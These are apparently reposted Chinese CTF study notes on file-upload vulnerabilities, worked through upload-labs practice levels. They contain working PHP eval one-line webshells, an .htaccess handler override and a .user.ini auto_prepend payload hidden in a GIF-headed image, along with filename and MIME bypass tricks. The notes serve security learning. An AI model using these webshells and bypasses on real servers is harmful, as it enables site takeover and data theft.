CTF-Web(3)文件上传漏洞

笔记目录

CTF-Web(2)SQL注入
CTF-Web(3)文件上传漏洞

1.WebShell介绍


(1)一句话木马定义

一种网页后门,以asp、php、jsp等网页文件形式存在的一种命令执行环境,而 一句话木马往往只有一行WebShell代码
作用:
  • 攻击获得网站控制权限
  • 查看、修改、删除网站数据
  • 通过提权漏洞可获得主机权限

(2)一句话木马工作原理

  • eval函数:把字符串按照PHP代码执行,该字符串必须是合法的PHP代码,且必须以分号结尾。
  • $_POST:PHP超全局变量$_GET和$_POST用于收集表单数据。

(3)一句话木马(多整理防止被过滤运行不成功)

①基础版
<?php @eval($_GET['cmd']); ?>
②替代版
<?php @eval($_REQUEST['cmd']);?>
③防过滤版
<script language="php">@eval($_POST['cmd']);</script>
【精选】PHP一句话木马集合_思源湖的鱼的博客-CSDN博客

2.文件上传漏洞介绍


(1)原理

由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致攻击者能够向某个可通过 Web 访问的目录上传恶意文件,并被脚本解析器执行,这样就可以在远程服务器上执行恶意脚本

(2)文件上传流程

①A 客户端javascript 检测 ( 客户端,通常检测扩展名)
②B 服务端MIME 类型检测 (请求Content-Type 内容)
③C 服务端目录路径检测 (检测跟path 参数相关的内容)
④D 服务端文件扩展名检测(检测跟文件extension 相关的内容)
⑤E 服务端文件内容检测(检测内容是否合法,如检测十六进制内容)

(3)漏洞分类

注:如果随便上传奇怪文件后缀,不允许上传为文件白名单(只允许几种后缀通过),否则为黑名单 (只允许几种后缀不通过)

(4)漏洞类型判断流程

3.漏洞分类(upload-labs靶场)


(1)JS前端验证突破(pass-01)

①原理
如客户端上传文件时,可能现在本地JS验证文件类型是否正确再上传
②攻击方式
  • 抓包修改文件名

(2)MIME验证实例(pass-02)

①原理
服务端对上传文件的Content-Type类型进行检测,判断 是否在 白名单规定内
②攻击方式
  • 抓包修改Content-type类型
注意:文件后缀名变更可能需要修改Content-Type类型,否则

(3)黑名单--特殊后缀名(pass-03)

①原理
服务端对上传文件名后缀进行检测,判断 是否为禁止文件类型
②攻击方式
  • 文件后缀名字典攻击
    • ASP语言类:.asa .cer .cdx
    • PHP语言类: .php3 .php4 .php5 .phtml
    • .net语言类:.ashx
    • jsp语言类:jspx jspf

(4)黑名单--.htaccess(pass-04)

①原理
htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法
②攻击方式
  • 上传htaccess文件
<FilesMatch "jpg">                              ###如所有jpg文件解析为php文件
setHandler application/x-httpd-php       
</FilesMatch>

(5)黑名单-- .user.ini(pass-05)

①原理
php5.3版支持.ini代替.htaccess 此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
②攻击方式
  • 首先构造.user.ini文件,因为.htaccess在黑名单
  auto_prepend_file=a.jpg
  • 然后构造jpg(GIF89a 后期有题目过滤内容) ,此时执行其他php代码都会执行a.jpg内容
GIF89a
<script language='php'>echo 'a.jpg success'; @eval($_POST['pass']);</script>
【当.user.ini不在白名单中,无法上传】
  • 首先构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
  • 将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpg
  • 最后上传图片代码
(6)文件名绕过
  .[空格].
  • .后缀名+ .[空格]. ,最后只剩下.php(仅适用于windows系统)
②大小写绕过 (pass-06 ,限Linux
③黑名单-加空格 (pass-07 ,限windows
  • 代码没有对空格过滤,可利用windows系统特性,最终上传的文件被去掉了空格
④黑名单-加点 (pass-08
由于没有代码: $file_name = deldot($file_name);//删除文件名末尾的点,因此可加点
⑤黑名单-双写绕过 (pass-11
此处将黑名单文件替换为空字符串, php → pphphp
⑥黑名单-数据流 (pass-09
没有代码, $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
  • 文件名后加  ::$DATA 标识, 访问时去掉标识即可
(7)白名单-%00截断null(GET) (pass-12,待实现
原理:URL遇到%00自动丢弃  %00+后面字符,因为%00 url解码为null
此处白名单检测,只允许上传'jpg','png','gif'格式的文件。 但是上传路径是可以控制的,可以使用%00 截断更改地址栏中的上传路径,将后面处理过的文件名进行截断。只能用于php版本低于5.3的。
(8)文件头请求
思路:首先上传一张简单的图片,然后抓包修改文件名后缀php,并在文件内注入木马(修改文件名+添加代码)。 如果能上传则成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/122381.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

删除元素专题

这篇也是凑数的 ... 题目 : LeetCode 27.移除元素 : 27. 移除元素 分析 : 快慢指针 : 定义两个指针slow和fast&#xff0c;初始值都是0。Slow之前的位置都是有效部分&#xff0c;fast表示当前要访问的元素。 这样遍历的时候&#xff0c;fast不断向后移动: 如果nums[fast…

实战经验分享FastAPI 是什么

FastAPI 是什么&#xff1f;FastAPI实战经验分享 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7e9e23e6fe3444238413d91f37064b65.png](https://fastapi.tiangolo.com/) FastAPI 是一个先进、高效的 Python Web 框架&#xff0c;专门用于构建基于 Python 的 API。它是…

读图数据库实战笔记02_图数据建模

1. 概念 1.1. 实体 1.1.1. 通常用名词来表示 1.1.2. 描述一个领域中的事物或者事物类型 1.1.2.1. 汽车 1.1.2.2. 用户 1.1.2.3. 地理位置 1.1.3. 在逻辑模型和技术实现过程中&#xff0c;实体通常会变成“顶点” 1.2. 关系 1.2.1. 用动词&#xff08;或动词短语&#…

【错误解决方案】ModuleNotFoundError: No module named ‘cPickle‘

1. 错误提示 在python程序中试图导入一个名为cPickle的模块&#xff0c;但Python提示找不到这个模块。 错误提示&#xff1a;ModuleNotFoundError: No module named cPickle 2. 解决方案 实际上&#xff0c;cPickle是Python的pickle模块的一个C语言实现&#xff0c;通常用于…

【计算机网络笔记】Web缓存/代理服务器技术

系列文章目录 什么是计算机网络&#xff1f; 什么是网络协议&#xff1f; 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能&#xff08;1&#xff09;——速率、带宽、延迟 计算机网络性能&#xff08;2&#xff09;…

【2021集创赛】Robei杯一等奖:基于Robei EDA工具的隔离病房看护机器人设计

本作品参与极术社区组织的有奖征集|秀出你的集创赛作品风采,免费电子产品等你拿~活动。 团队介绍 参赛单位&#xff1a;重庆交通大学 队伍名称&#xff1a;一丘之貉 指导老师&#xff1a;毕波 李艾星 参赛队员&#xff1a;郁航 张坤 秦衡 总决赛奖项&#xff1a;Robei杯一等奖…

内网穿透工具之NATAPP(一)

使用工具前&#xff0c;有必要了解一下什么是内网穿透吧&#xff01; 内网穿透简单来说就是将内网外网通过natapp隧道打通,让内网的数据让外网可以获取。比如常用的办公室软件等&#xff0c;一般在办公室或家里&#xff0c;通过拨号上网&#xff0c;这样办公软件只有在本地的局…

SpringCloud 微服务全栈体系(六)

第八章 Gateway 服务网关 Spring Cloud Gateway 是 Spring Cloud 的一个全新项目&#xff0c;该项目是基于 Spring 5.0&#xff0c;Spring Boot 2.0 和 Project Reactor 等响应式编程和事件流技术开发的网关&#xff0c;它旨在为微服务架构提供一种简单有效的统一的 API 路由管…

【Selenium】提高测试爬虫效率:Selenium与多线程的完美结合

前言 使用Selenium 创建多个浏览器&#xff0c;这在自动化操作中非常常见。 而在Python中&#xff0c;使用 Selenium threading 或 Selenium ThreadPoolExecutor 都是很好的实现方法。 应用场景&#xff1a; 创建多个浏览器用于测试或者数据采集&#xff1b;使用Selenium 控…

JVM虚拟机详解

目录 01JVM由哪些部分组成/运行流程 什么是程序计数器 详细介绍堆 介绍方法区&#xff08;Method Area&#xff09; 直接内存 虚拟机栈(Java Virtual machine Stacks) 垃圾回收是否涉及栈内存 栈内存分配越大越好吗 方法内的局部变量是否线程安全 什么情况下会导致栈…

WSL——ubuntu中anaconda换源(conda、pip)

1、conda 打开Ubuntu&#xff0c;输入下列命令。 conda config --set show_channel_urls yes 在文件管理器地址栏&#xff0c;输入&#xff1a;\\wsl$。打开Ubuntu根路径&#xff0c;其中显示了.condarc文件。 以文本形式打开&#xff0c;并输入要换的源&#xff0c;保存即可。…

【QT】信号和槽能自动传递参数

一、前置示例代码 main.cpp #include "widget.h"#include <QApplication>int main(int argc, char *argv[]) {QApplication a(argc, argv); // 应用程序对象a&#xff0c;在Qt中&#xff0c;应用程序对象&#xff0c;有且仅有一个。Widget w; // 窗口对…

信息系统项目管理师教程 第四版【第2章-信息技术发展-思维导图】

信息系统项目管理师教程 第四版【第2章-信息技术发展-思维导图】

【AD9361 数字接口CMOS LVDSSPI】B 并行数据之CMOS

##接上一篇&#xff1b; 本节介绍 AD9361 数字接口CMOS &LVDS&SPI最后一张表中四种工作模式的具体配置及时序波形图。 目录 1、单端口半双工模式 &#xff08;CMOS&#xff09; *代称 SHC*换句话说&#xff0c;最大值是12‘b0111_1111_1111&#xff0c;即0x7FF&#xf…

Selenium自动测试框架

selenium3 selenium元素的定位css 选择器Xpath 操作测试对象 API添加等待浏览器的操作键盘操作鼠标操作定位一组元素下拉框弹窗上传文件 <dependencies><!-- https://mvnrepository.com/artifact/org.seleniumhq.selenium/selenium-java --><dependency><…

科大讯飞发布讯飞星火 3.0;开源AI的现状

&#x1f680; 科大讯飞发布讯飞星火 3.0&#xff0c;综合能力超越ChatGPT&#xff08;非GPT-4版&#xff09; 摘要&#xff1a;科大讯飞在2023全球1024开发者节上宣布讯飞星火 3.0正式发布&#xff0c;号称综合能力已超越ChatGPT。据介绍&#xff0c;星火认知大模型 V3.0在文…

Windows查看核心与线程数

文章目录 前言一、可视化界面1、任务管理器2、设备管理器3、CPU-Z 二、命令或程序1、cmd命令2、Java程序 前言 查询电脑硬件CPU信息命令的学习&#xff0c;予以记录&#xff01; 参考博客&#xff1a;https://blog.csdn.net/huazicomeon/article/details/53540852 一、可视化界…

Flutter报错RenderBox was not laid out: RenderRepaintBoundary的解决方法

文章目录 报错问题分析问题原因 解决办法RenderBox was not laid out错误的常见原因常见原因解决方法 RenderRepaintBoundaryRenderRepaintBoundary用途 报错 RenderBox was not laid out: RenderRepaintBoundary#d4abf relayoutBoundaryup1 NEEDS-PAINT NEEDS-COMPOSITING-BI…

LibreOffice编辑excel文档如何在单元格中输入手动换行符

用WPS编辑excel文档的时候&#xff0c;要在单元格中输入手动换行符&#xff0c;可以先按住Alt键&#xff0c;然后回车。 而用LibreOffice编辑excel文档&#xff0c;要在单元格中输入手动换行符&#xff0c;可以先按住Ctrl键&#xff0c;然后回车。例如&#xff1a;

记一次线程爆满导致服务器崩溃的问题排查

记一次线程爆满导致服务器崩溃的问题排查 重启服务器 重启后&#xff0c;ssh连接发现下面问题 fork faild:Cannot allocate memory 以为是内存满了 于是&#xff0c;free -h,查看内存情况&#xff0c;还有&#xff0c;观察一段时间后&#xff0c;内存没多大变化 修改…